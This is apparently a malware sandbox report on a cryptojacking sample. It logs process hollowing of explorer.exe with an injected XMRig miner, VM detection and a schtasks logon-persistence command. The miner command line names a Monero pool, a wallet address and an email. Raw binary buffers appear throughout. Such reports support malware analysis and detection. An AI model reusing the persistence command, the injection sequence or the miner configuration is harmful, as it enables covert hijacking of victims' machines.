WriteProcessMemory June 6, 2021, 9:37 p.m.	buffer: HÐ%ÀÿHÁÊ âÀÿffffffffffffffSUWVATAUAVAWHìPót$@ó\|$0óDD$ óDL$óD$HìPóD\$@óDd$0óDl$ óDt$óD<$QHHzHÅHÁè %ÀÿÿIðIÙHÅM3ÀM3ÉM3ÒM3ÛM3äM3íM3öM3ÿHIxfD(AHfD(IXfD(QhfD(YxfD(-fD(5fD(=HÐ%ÀÿHÁÊ âÀÿHì(Ç$ÀÇD$À¿ÇD$ÀßÇD$ÀÿÇD$ ÿÿÿÿëhffffffffffffffffffffffffÀÿÿÿÿÀÿÿÿÿððH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QHÄëfffffffHHL$L3L3IL3QL3YL3a L3i(L3q0L3y8HHL$óæóæIóæQóæYóæa óæi(óæq0óæy8fATåfATífATõfATýfAVæfAVîfAVöfAVþHHL$L3L3IL3QL3YL3a L3i(L3q0L3y8HHL$óæóæIóæQóæYóæa óæi(óæq0óæy8ÈX¢æÐÈP¢îÐÈH¢öÐÈ@¢þÐH3èÕâÀÿÿHÁÍ ÕâÀÿÿHL3L3IL3QL3YL3a L3i(L3q0L3y8HÍHÁé áÀÿÿL3H3èÕâÀÿÿHÁÍ L3LL3TL3\L3d L3l(L3t0L3\|8HìHH\$@LD$8LL$0LT$(L\$ Ld$Ll$Lt$L<$H3èHÁÍ ÝãÀÿÿÁëH\$@L3D$8L3L$0L3T$(L3\$ L3d$L3l$L3t$L3<$HÄHHL$LLILQLYLa Li(Lq0Ly8HL$fWÄfWÍfWÖfWßf)f)If)Q f)Y0ffSUWVATAUAVAWH9HòIèAQ HÝèÞLLNLVL^Lf Ln(Lv0L~8HÅHÆ@H;,$rÈAYA_A^A]A\^_][Ãffffffffffffff@SUWVATAUAVAWHìó$óL$óT$ ó\$0ód$@ól$Pót$`ó\|$póD$óD$óD$ óD$°óD¤$ÀóD¬$ÐóD´$àóD¼$ðH9HòIèAQHì(é-L-ôQXü¡õY FØÂ8ßp§\I"¿¹&b%MIìªÎ¹ï7x-æltV/Nå,¶÷;fffffffffffffffffffffDF@ÀHÝHãÿÿ?HÁãHßHEH%ÿÿ?HÁàHÇH$HEH%ÿÿ?HÁàHÇHD$HEH%ÿÿ?HÁàHÇHD$HEH%ÿÿ?HÁàHÇHD$LEL¯ïþÿÿL ðþÿÿM3ÈLîþÿÿM3ÐLìþÿÿM3ØL%êþÿÿM3àL-èþÿÿM3èL5æþÿÿM3ðL=äþÿÿM3øHl$ Äâ}D$ ÅýÔmþÿÿÄâ} þÿÿÅ½sÐ ÅµsÑ Å}ôÑÅ5ôØÅ½ôÁÄÁ%só Åýsð ÄA-ÔÓÅÔÀÄâ} aþÿÿÅýïÉÄâ}\þÿÿÅýïÒÄâ}WþÿÿÅýïÛÄâ}%RþÿÿÅýïäÄâ}-MþÿÿÅýïíÄâ}5HþÿÿÅýïöÄâ}=CþÿÿÅýïÿÄb}=öýÿÿÄÁ s÷LÅ}lÁLNÅmlËLVÅ]lÕL^ÅMlßLf Å}máLn(ÅmmëLv0Å]mõL~8ÅMmÿÄÃ=FÁ ÄÃ-FË ÅþF@ÅþN`ÄÃFÕ ÄÃ Fß ÅþÅþ ÄÃ=Fá1ÄÃ-Fë1Åþ¦ÀÅþ®àÄÃFõ1ÄÃ Fÿ1Åþ¶Åþ¾ HÅHÆ@H;l$(HÄ(AYóo$óoL$óoT$ óo\$0óod$@óol$Póot$`óo\|$póDo$óDo$óDo$ óDo$°óDo¤$ÀóDo¬$ÐóDo´$àóDo¼$ðÅøwHÄA_A^A]A\^_][ÃHì(H$Å~t$HD$(H\$0HL$8HT$@Å~oÅ~oÅ~oÅ~oÄA=láÄA-lëÄCFõ ÄÁ}ïÆÄCFõ1ÄÁmïÖÄA=máÄA-mëÄCFõ ÄÁuïÎÄCFõ1ÄÁeïÞÅ~o@ Å~oK Å~oQ Å~oZ ÄA=láÄA-lëÄCFõ ÄÁ]ïæÄCFõ1ÄÁMïöÄA=máÄA-mëÄCFõ ÄÁUïîÄCFõ1ÄÁEïþH$Å~ot$HÄ(Åþ$H$H%ÿÿ?HÁàHÇH$HD$H%ÿÿ?HÁàHÇHD$HD$H%ÿÿ?HÁàHÇHD$HD$H%ÿÿ?HÁàHÇHD$HÄ(YLLILQLYLa Li(Lq0Ly8fA@fIPfQ`fYpHI@fa@fiPfq`fypóDo<$óDot$óDol$ óDod$0óDo\$@HÄPóDo$óDoL$óDoD$ óo\|$0óot$@HÄPA_A^A]A\^_][ÃfffffffffffffffffL3L3KL3SL3[L3c L3k(L3s0L3{8Hãÿÿ?HÁãHßfffffffLCHãÿÿ?HÁãHßL¯cL dM3ÈLbM3ÐL`M3ØL%^M3àL-\M3èL5ZM3ðL=XM3øéXffffffff-L-ôQXü¡õY FØÂ8ßp§\I"¿¹&b%MIìªÎ¹ï7x-æltV*/Nå,¶÷;ºLÁ3ÀH½ÉHÓâI÷ðÃ base_address: 0x0000000140747000 process_identifier: 7824 process_handle: 0x0000000000000350	1	1
WriteProcessMemory June 6, 2021, 9:37 p.m.	buffer: ÅøwH\$Ht$H\|$UATAUAVAWHìPót$@ó\|$0óDD$ óDL$óD$HìPóD\$@óDd$0óDl$ óDt$óD<$Hì@Hl$@HåàÅùïÀ3ÿÇELâÇE LòÇE IÁîAäÇEMèÆE HñßÅýE ÅýE@ÅýE`ÅýÅý ÅýÀÅýàMöt>¶DHM HÁHH1L{Hûu HM èñHûHÇIEÇHÆHØIîuÂH×MätLÇ¶2HÿÂÄâ¹÷ÈHùIÀI;Ôrè¶DHU HÂ¹JåÄâù÷ÉH3 ¸HÁà?H3ÏH H1EhHM èxÅüE ÄÁ\|EÅøwHÄ@óDo<$óDot$óDol$ óDod$0óDo\$@HÄPóDo$óDoL$óDoD$ óo\|$0óot$@HÄPA_A^A]A\]H\$Ht$H\|$ÃLL ÖL/¸HI`Äâ}YA ÅþoI¨ÅþoQÈÅþoYèÅþoaÅþoi(ÅþoqHfÅ}pêNÅUïãÅ]ïÎÅïáÄAïáÄCýÜÅïêÄÃýýNÄÁ=sÔ?ÄAÔÌÄA=ëÁÄCýø9ÄA=ïóÄCýöÅïèÅïïÄÁEsÕ?ÄAÔÅÅ=ëÇÄÁmïÖÄÁ}ïÆÄCøÀÄC%ÝÄAïûÄBíGP ÄÂíEQ ÄÁmëÒÄÁeïßÄBåGXàÄÂåEYàÄÁeëÛÄÁ]ïçÄBÝG ÄÂÝE!ÄÁ]ëäÄÁUïïÄBÕGh ÄÂÕEi ÄÁUëíÄÁMï÷ÄcýÒÄcýÛÄBÍGp@ÄBÍEA@ÄA=ëÆÄÁuïÏÄcýäÄcýírÄBõGxÀÄBõEIÀÄA5ëÏÄÁ sØÄÁ=ßþÄÃ5ÝÄC%ùÄÃ-ëÄC5òÄÃeÛ0ÄCü0ÄÃUé0ÄC õ0ÄÃeÜÀÄCýÀÄÃUíÀÄC óÀÄÁeßßÄÁUßîÄÃñÄC-üÄÁeïÚÄÃMò0ÄCû0ÄÁUïìÄÃMóÀÄCùÀÄÁMß÷ÄÁMïõÄÃýàÄc]ø0ÄÃýÈ9ÄãuÈÀÄÁußÏÄÃ%ÔÄCóÄÃmÕ0ÄC ò0ÄÃmÒÀÄC ôÀÄÁmßÖÄÁmïÑÄãýÿÄãýÛÄãýíÄãýörÄÃâÄCõÄÃ]ä0ÄC ñ0ÄÃ]áÀÄC òÀÄÁ]ßæÅýïÇÄÁuïÈÄÁ]ïãÄÁ}ïMR ÿÈ²ýÿÿÄáù~A ÅþI¨ÅþQÈÅþYèÅþaÅþi(ÅþqHÃfffff$)>-8' =7,+=.?$%:6 8>1',+2 base_address: 0x0000000140748000 process_identifier: 7824 process_handle: 0x0000000000000350	1	1
WriteProcessMemory June 6, 2021, 9:37 p.m.	buffer: Ð0ï0Ñ0ß00 000@0Ø0p0000X0 0À0õ0¢0¢0Ç¢0¢0¤¢0´¢0Ä¢0¢0Ì¢0¨¢0à¢0Ð¢0 ¢0°¢0À¢0¢0è¢0 base_address: 0x000000014074d000 process_identifier: 7824 process_handle: 0x0000000000000350	1	1
WriteProcessMemory June 6, 2021, 9:37 p.m.	buffer: 8Ph àt0ãt}4VS_VERSION_INFO½ïþ?êStringFileInfoÆ000004b0<CompanyNamewww.xmrig.com@FileDescriptionXMRig miner.FileVersion6.12.1h"LegalCopyrightCopyright (C) 2016-2021 xmrig.com< OriginalFilenamexmrig.exe,ProductNameXMRig2ProductVersion6.12.1DVarFileInfo$Translation°<?xml version='1.0' encoding='UTF-8' standalone='yes'?> <assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level='asInvoker' uiAccess='false' /> </requestedPrivileges> </security> </trustInfo> </assembly> base_address: 0x000000014074e000 process_identifier: 7824 process_handle: 0x0000000000000350	1	1
WriteProcessMemory June 6, 2021, 9:37 p.m.	buffer: @ base_address: 0x000007fffffde010 process_identifier: 7824 process_handle: 0x0000000000000350	1	1

Code injection by writing an executable or DLL to the memory of another process (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory June 6, 2021, 9:37 p.m.	buffer: MZÿÿ¸@ º´ Í!¸LÍ!This program cannot be run in DOS mode. $\>)éPzéPzéPzCT{éPzCS{éPzCU{ÐéPzIzéPzT{éPzS{éPzU{éPzÞT{ éPzCQ{ éPzéQzpèPzT{KëPzÞY{äéPzÞS{éPzÞ¯zéPzéÇzéPzÞR{éPzRichéPzPEd@+`ð"4Al¶.@u`\|ÐFÜàt°`r\|ðtwCPxC( wC0 4X .textt44 `.rdataÓ 4Ô 4@@.dataðR+G"ÞF@À.pdata\|`rH@@_RANDOMXptJ@`_SHA3_25@ t J@`_TEXT_CNQt &J@`_TEXT_CN°tFJ@`_RDATAÐtXJ@@.rsrc°àtZJ@@.relocðt`J@B base_address: 0x0000000140000000 process_identifier: 7824 process_handle: 0x0000000000000350	1	1	0

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1608 called NtSetContextThread to modify thread in remote process 7824
NtSetContextThread June 6, 2021, 9:37 p.m.	registers.r14: 0 registers.r15: 0 registers.rcx: 5371770476 registers.rsi: 0 registers.r10: 0 registers.rbx: 0 registers.rsp: 2030920 registers.r11: 0 registers.r8: 0 registers.r9: 0 registers.rip: 1998505216 registers.rdx: 8796092882944 registers.r12: 0 registers.rbp: 0 registers.rdi: 0 registers.rax: 0 registers.r13: 0 thread_handle: 0x000000000000032c process_identifier: 7824	1	0	0

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1608 resumed a thread in remote process 7824
NtResumeThread June 6, 2021, 9:37 p.m.	thread_handle: 0x000000000000032c suspend_count: 1 process_identifier: 7824	1	0	0

Created a process named as a common system process (2 events)

Time & API	Arguments	Status	Return	Repeated
CreateProcessInternalW June 6, 2021, 9:43 p.m.	thread_identifier: 8772 thread_handle: 0x00000000000003e4 process_identifier: 1608 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Users\test22\AppData\Local\Temp\Services.exe track: 1 command_line: "C:\Users\test22\AppData\Local\Temp\Services.exe" filepath_r: C:\Users\test22\AppData\Local\Temp\Services.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x0000000000000410	1	1	0
ShellExecuteExW June 6, 2021, 9:43 p.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\Services.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\Services.exe	1	1	0

Detects Virtual Machines through their custom firmware (1 event)

Time & API	Arguments	Status	Return	Repeated
NtQuerySystemInformation June 6, 2021, 9:37 p.m.	information_class: 76 (SystemFirmwareTableInformation)		-1073741789	0

Executed a process and injected code into it, probably while unpacking (50 out of 53 events)

Time & API	Arguments	Status	Return
NtResumeThread June 6, 2021, 9:42 p.m.	thread_handle: 0x00000000000000c4 suspend_count: 1 process_identifier: 2952	1	0
NtResumeThread June 6, 2021, 9:42 p.m.	thread_handle: 0x0000000000000134 suspend_count: 1 process_identifier: 2952	1	0
NtResumeThread June 6, 2021, 9:42 p.m.	thread_handle: 0x0000000000000180 suspend_count: 1 process_identifier: 2952	1	0
NtResumeThread June 6, 2021, 9:42 p.m.	thread_handle: 0x00000000000001fc suspend_count: 1 process_identifier: 2952	1	0
NtGetContextThread June 6, 2021, 9:42 p.m.	thread_handle: 0x00000000000000c8	1	0
NtGetContextThread June 6, 2021, 9:42 p.m.	thread_handle: 0x00000000000000c8	1	0
NtResumeThread June 6, 2021, 9:42 p.m.	thread_handle: 0x00000000000000c8 suspend_count: 1 process_identifier: 2952	1	0
NtResumeThread June 6, 2021, 9:42 p.m.	thread_handle: 0x0000000000000230 suspend_count: 1 process_identifier: 2952	1	0
CreateProcessInternalW June 6, 2021, 9:42 p.m.	thread_identifier: 8548 thread_handle: 0x0000000000000390 process_identifier: 3700 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\cmd.exe track: 1 command_line: "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\test22\AppData\Local\Temp\Services.exe"' & exit filepath_r: C:\Windows\System32\cmd.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x0000000000000388	1	1
NtResumeThread June 6, 2021, 9:43 p.m.	thread_handle: 0x00000000000001fc suspend_count: 1 process_identifier: 2952	1	0
CreateProcessInternalW June 6, 2021, 9:43 p.m.	thread_identifier: 3812 thread_handle: 0x00000000000003d8 process_identifier: 4120 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe track: 1 command_line: "C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe" filepath_r: C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x00000000000003f4	1	1
NtResumeThread June 6, 2021, 9:43 p.m.	thread_handle: 0x00000000000003dc suspend_count: 1 process_identifier: 2952	1	0
CreateProcessInternalW June 6, 2021, 9:43 p.m.	thread_identifier: 8772 thread_handle: 0x00000000000003e4 process_identifier: 1608 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Users\test22\AppData\Local\Temp\Services.exe track: 1 command_line: "C:\Users\test22\AppData\Local\Temp\Services.exe" filepath_r: C:\Users\test22\AppData\Local\Temp\Services.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x0000000000000410	1	1
CreateProcessInternalW June 6, 2021, 9:43 p.m.	thread_identifier: 6892 thread_handle: 0x0000000000000060 process_identifier: 3908 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\schtasks.exe track: 1 command_line: schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\test22\AppData\Local\Temp\Services.exe"' filepath_r: C:\Windows\system32\schtasks.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x0000000000000064	1	1
NtResumeThread June 6, 2021, 9:36 p.m.	thread_handle: 0x00000000000000c4 suspend_count: 1 process_identifier: 4120	1	0
NtResumeThread June 6, 2021, 9:36 p.m.	thread_handle: 0x0000000000000134 suspend_count: 1 process_identifier: 4120	1	0
NtResumeThread June 6, 2021, 9:36 p.m.	thread_handle: 0x0000000000000170 suspend_count: 1 process_identifier: 4120	1	0
NtResumeThread June 6, 2021, 9:36 p.m.	thread_handle: 0x00000000000000c4 suspend_count: 1 process_identifier: 1608	1	0
NtResumeThread June 6, 2021, 9:36 p.m.	thread_handle: 0x0000000000000134 suspend_count: 1 process_identifier: 1608	1	0
NtResumeThread June 6, 2021, 9:36 p.m.	thread_handle: 0x000000000000017c suspend_count: 1 process_identifier: 1608	1	0
NtResumeThread June 6, 2021, 9:36 p.m.	thread_handle: 0x0000000000000200 suspend_count: 1 process_identifier: 1608	1	0
NtResumeThread June 6, 2021, 9:36 p.m.	thread_handle: 0x0000000000000234 suspend_count: 1 process_identifier: 1608	1	0
CreateProcessInternalW June 6, 2021, 9:36 p.m.	thread_identifier: 6440 thread_handle: 0x0000000000000388 process_identifier: 3932 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\cmd.exe track: 1 command_line: "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\test22\AppData\Local\Temp\Services.exe"' & exit filepath_r: C:\Windows\System32\cmd.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x0000000000000380	1	1
NtResumeThread June 6, 2021, 9:36 p.m.	thread_handle: 0x0000000000000328 suspend_count: 1 process_identifier: 1608	1	0
CreateProcessInternalW June 6, 2021, 9:37 p.m.	thread_identifier: 7808 thread_handle: 0x00000000000003d0 process_identifier: 1596 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe track: 1 command_line: "C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe" filepath_r: C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x00000000000003ec	1	1
NtResumeThread June 6, 2021, 9:37 p.m.	thread_handle: 0x0000000000000440 suspend_count: 1 process_identifier: 1608	1	0
CreateProcessInternalW June 6, 2021, 9:37 p.m.	thread_identifier: 5084 thread_handle: 0x000000000000032c process_identifier: 7824 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu1.nanopool.org:14433 --user=445TJEwg6i6Mr4SNoo1N1dN5NUXyYxbtLEBEbxhv31NteRNksf11CDhSmB2LMhPehAYxcbJ2vGyKn8gC7E9gc9xU1PRwYZ5.Worker06/benjd800@hotmail.com --pass= --cpu-max-threads-hint=30 --donate-level=5 --cinit-idle-wait=5 --cinit-idle-cpu=80 --tls --cinit-stealth filepath_r: stack_pivoted: 0 creation_flags: 4 (CREATE_SUSPENDED) inherit_handles: 1 process_handle: 0x0000000000000350	1	1
NtUnmapViewOfSection June 6, 2021, 9:37 p.m.	base_address: 0x0000000140000000 region_size: 8786417680384 process_identifier: 7824 process_handle: 0x0000000000000350		-1073741799
NtAllocateVirtualMemory June 6, 2021, 9:37 p.m.	process_identifier: 7824 region_size: 7700480 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000140000000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000000000000350	1	0
WriteProcessMemory June 6, 2021, 9:37 p.m.	buffer: MZÿÿ¸@ º´ Í!¸LÍ!This program cannot be run in DOS mode. $\>)éPzéPzéPzCT{éPzCS{éPzCU{ÐéPzIzéPzT{éPzS{éPzU{éPzÞT{ éPzCQ{ éPzéQzpèPzT{KëPzÞY{äéPzÞS{éPzÞ¯zéPzéÇzéPzÞR{éPzRichéPzPEd@+`ð"4Al¶.@u`\|ÐFÜàt°`r\|ðtwCPxC( wC0 4X .textt44 `.rdataÓ 4Ô 4@@.dataðR+G"ÞF@À.pdata\|`rH@@_RANDOMXptJ@`_SHA3_25@ t J@`_TEXT_CNQt &J@`_TEXT_CN°tFJ@`_RDATAÐtXJ@@.rsrc°àtZJ@@.relocðt`J@B base_address: 0x0000000140000000 process_identifier: 7824 process_handle: 0x0000000000000350	1	1
WriteProcessMemory June 6, 2021, 9:37 p.m.	buffer: base_address: 0x0000000140001000 process_identifier: 7824 process_handle: 0x0000000000000350	1	1
WriteProcessMemory June 6, 2021, 9:37 p.m.	buffer: base_address: 0x0000000140342000 process_identifier: 7824 process_handle: 0x0000000000000350	1	1
WriteProcessMemory June 6, 2021, 9:37 p.m.	buffer: base_address: 0x0000000140470000 process_identifier: 7824 process_handle: 0x0000000000000350	1	1
WriteProcessMemory June 6, 2021, 9:37 p.m.	buffer: base_address: 0x0000000140726000 process_identifier: 7824 process_handle: 0x0000000000000350	1	1
WriteProcessMemory June 6, 2021, 9:37 p.m.	buffer: HÐ%ÀÿHÁÊ âÀÿffffffffffffffSUWVATAUAVAWHìPót$@ó\|$0óDD$ óDL$óD$HìPóD\$@óDd$0óDl$ óDt$óD<$QHHzHÅHÁè %ÀÿÿIðIÙHÅM3ÀM3ÉM3ÒM3ÛM3äM3íM3öM3ÿHIxfD(AHfD(IXfD(QhfD(YxfD(-fD(5fD(=HÐ%ÀÿHÁÊ âÀÿHì(Ç$ÀÇD$À¿ÇD$ÀßÇD$ÀÿÇD$ ÿÿÿÿëhffffffffffffffffffffffffÀÿÿÿÿÀÿÿÿÿððH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QHÄëfffffffHHL$L3L3IL3QL3YL3a L3i(L3q0L3y8HHL$óæóæIóæQóæYóæa óæi(óæq0óæy8fATåfATífATõfATýfAVæfAVîfAVöfAVþHHL$L3L3IL3QL3YL3a L3i(L3q0L3y8HHL$óæóæIóæQóæYóæa óæi(óæq0óæy8ÈX¢æÐÈP¢îÐÈH¢öÐÈ@¢þÐH3èÕâÀÿÿHÁÍ ÕâÀÿÿHL3L3IL3QL3YL3a L3i(L3q0L3y8HÍHÁé áÀÿÿL3H3èÕâÀÿÿHÁÍ L3LL3TL3\L3d L3l(L3t0L3\|8HìHH\$@LD$8LL$0LT$(L\$ Ld$Ll$Lt$L<$H3èHÁÍ ÝãÀÿÿÁëH\$@L3D$8L3L$0L3T$(L3\$ L3d$L3l$L3t$L3<$HÄHHL$LLILQLYLa Li(Lq0Ly8HL$fWÄfWÍfWÖfWßf)f)If)Q f)Y0ffSUWVATAUAVAWH9HòIèAQ HÝèÞLLNLVL^Lf Ln(Lv0L~8HÅHÆ@H;,$rÈAYA_A^A]A\^_][Ãffffffffffffff@SUWVATAUAVAWHìó$óL$óT$ ó\$0ód$@ól$Pót$`ó\|$póD$óD$óD$ óD$°óD¤$ÀóD¬$ÐóD´$àóD¼$ðH9HòIèAQHì(é-L-ôQXü¡õY FØÂ8ßp§\I"¿¹&b%MIìªÎ¹ï7x-æltV/Nå,¶÷;fffffffffffffffffffffDF@ÀHÝHãÿÿ?HÁãHßHEH%ÿÿ?HÁàHÇH$HEH%ÿÿ?HÁàHÇHD$HEH%ÿÿ?HÁàHÇHD$HEH%ÿÿ?HÁàHÇHD$LEL¯ïþÿÿL ðþÿÿM3ÈLîþÿÿM3ÐLìþÿÿM3ØL%êþÿÿM3àL-èþÿÿM3èL5æþÿÿM3ðL=äþÿÿM3øHl$ Äâ}D$ ÅýÔmþÿÿÄâ} þÿÿÅ½sÐ ÅµsÑ Å}ôÑÅ5ôØÅ½ôÁÄÁ%só Åýsð ÄA-ÔÓÅÔÀÄâ} aþÿÿÅýïÉÄâ}\þÿÿÅýïÒÄâ}WþÿÿÅýïÛÄâ}%RþÿÿÅýïäÄâ}-MþÿÿÅýïíÄâ}5HþÿÿÅýïöÄâ}=CþÿÿÅýïÿÄb}=öýÿÿÄÁ s÷LÅ}lÁLNÅmlËLVÅ]lÕL^ÅMlßLf Å}máLn(ÅmmëLv0Å]mõL~8ÅMmÿÄÃ=FÁ ÄÃ-FË ÅþF@ÅþN`ÄÃFÕ ÄÃ Fß ÅþÅþ ÄÃ=Fá1ÄÃ-Fë1Åþ¦ÀÅþ®àÄÃFõ1ÄÃ Fÿ1Åþ¶Åþ¾ HÅHÆ@H;l$(HÄ(AYóo$óoL$óoT$ óo\$0óod$@óol$Póot$`óo\|$póDo$óDo$óDo$ óDo$°óDo¤$ÀóDo¬$ÐóDo´$àóDo¼$ðÅøwHÄA_A^A]A\^_][ÃHì(H$Å~t$HD$(H\$0HL$8HT$@Å~oÅ~oÅ~oÅ~oÄA=láÄA-lëÄCFõ ÄÁ}ïÆÄCFõ1ÄÁmïÖÄA=máÄA-mëÄCFõ ÄÁuïÎÄCFõ1ÄÁeïÞÅ~o@ Å~oK Å~oQ Å~oZ ÄA=láÄA-lëÄCFõ ÄÁ]ïæÄCFõ1ÄÁMïöÄA=máÄA-mëÄCFõ ÄÁUïîÄCFõ1ÄÁEïþH$Å~ot$HÄ(Åþ$H$H%ÿÿ?HÁàHÇH$HD$H%ÿÿ?HÁàHÇHD$HD$H%ÿÿ?HÁàHÇHD$HD$H%ÿÿ?HÁàHÇHD$HÄ(YLLILQLYLa Li(Lq0Ly8fA@fIPfQ`fYpHI@fa@fiPfq`fypóDo<$óDot$óDol$ óDod$0óDo\$@HÄPóDo$óDoL$óDoD$ óo\|$0óot$@HÄPA_A^A]A\^_][ÃfffffffffffffffffL3L3KL3SL3[L3c L3k(L3s0L3{8Hãÿÿ?HÁãHßfffffffLCHãÿÿ?HÁãHßL¯cL dM3ÈLbM3ÐL`M3ØL%^M3àL-\M3èL5ZM3ðL=XM3øéXffffffff-L-ôQXü¡õY FØÂ8ßp§\I"¿¹&b%MIìªÎ¹ï7x-æltV*/Nå,¶÷;ºLÁ3ÀH½ÉHÓâI÷ðÃ base_address: 0x0000000140747000 process_identifier: 7824 process_handle: 0x0000000000000350	1	1
WriteProcessMemory June 6, 2021, 9:37 p.m.	buffer: ÅøwH\$Ht$H\|$UATAUAVAWHìPót$@ó\|$0óDD$ óDL$óD$HìPóD\$@óDd$0óDl$ óDt$óD<$Hì@Hl$@HåàÅùïÀ3ÿÇELâÇE LòÇE IÁîAäÇEMèÆE HñßÅýE ÅýE@ÅýE`ÅýÅý ÅýÀÅýàMöt>¶DHM HÁHH1L{Hûu HM èñHûHÇIEÇHÆHØIîuÂH×MätLÇ¶2HÿÂÄâ¹÷ÈHùIÀI;Ôrè¶DHU HÂ¹JåÄâù÷ÉH3 ¸HÁà?H3ÏH H1EhHM èxÅüE ÄÁ\|EÅøwHÄ@óDo<$óDot$óDol$ óDod$0óDo\$@HÄPóDo$óDoL$óDoD$ óo\|$0óot$@HÄPA_A^A]A\]H\$Ht$H\|$ÃLL ÖL/¸HI`Äâ}YA ÅþoI¨ÅþoQÈÅþoYèÅþoaÅþoi(ÅþoqHfÅ}pêNÅUïãÅ]ïÎÅïáÄAïáÄCýÜÅïêÄÃýýNÄÁ=sÔ?ÄAÔÌÄA=ëÁÄCýø9ÄA=ïóÄCýöÅïèÅïïÄÁEsÕ?ÄAÔÅÅ=ëÇÄÁmïÖÄÁ}ïÆÄCøÀÄC%ÝÄAïûÄBíGP ÄÂíEQ ÄÁmëÒÄÁeïßÄBåGXàÄÂåEYàÄÁeëÛÄÁ]ïçÄBÝG ÄÂÝE!ÄÁ]ëäÄÁUïïÄBÕGh ÄÂÕEi ÄÁUëíÄÁMï÷ÄcýÒÄcýÛÄBÍGp@ÄBÍEA@ÄA=ëÆÄÁuïÏÄcýäÄcýírÄBõGxÀÄBõEIÀÄA5ëÏÄÁ sØÄÁ=ßþÄÃ5ÝÄC%ùÄÃ-ëÄC5òÄÃeÛ0ÄCü0ÄÃUé0ÄC õ0ÄÃeÜÀÄCýÀÄÃUíÀÄC óÀÄÁeßßÄÁUßîÄÃñÄC-üÄÁeïÚÄÃMò0ÄCû0ÄÁUïìÄÃMóÀÄCùÀÄÁMß÷ÄÁMïõÄÃýàÄc]ø0ÄÃýÈ9ÄãuÈÀÄÁußÏÄÃ%ÔÄCóÄÃmÕ0ÄC ò0ÄÃmÒÀÄC ôÀÄÁmßÖÄÁmïÑÄãýÿÄãýÛÄãýíÄãýörÄÃâÄCõÄÃ]ä0ÄC ñ0ÄÃ]áÀÄC òÀÄÁ]ßæÅýïÇÄÁuïÈÄÁ]ïãÄÁ}ïMR ÿÈ²ýÿÿÄáù~A ÅþI¨ÅþQÈÅþYèÅþaÅþi(ÅþqHÃfffff$)>-8' =7,+=.?$%:6 8>1',+2 base_address: 0x0000000140748000 process_identifier: 7824 process_handle: 0x0000000000000350	1	1
WriteProcessMemory June 6, 2021, 9:37 p.m.	buffer: base_address: 0x0000000140749000 process_identifier: 7824 process_handle: 0x0000000000000350	1	1
WriteProcessMemory June 6, 2021, 9:37 p.m.	buffer: base_address: 0x000000014074b000 process_identifier: 7824 process_handle: 0x0000000000000350	1	1
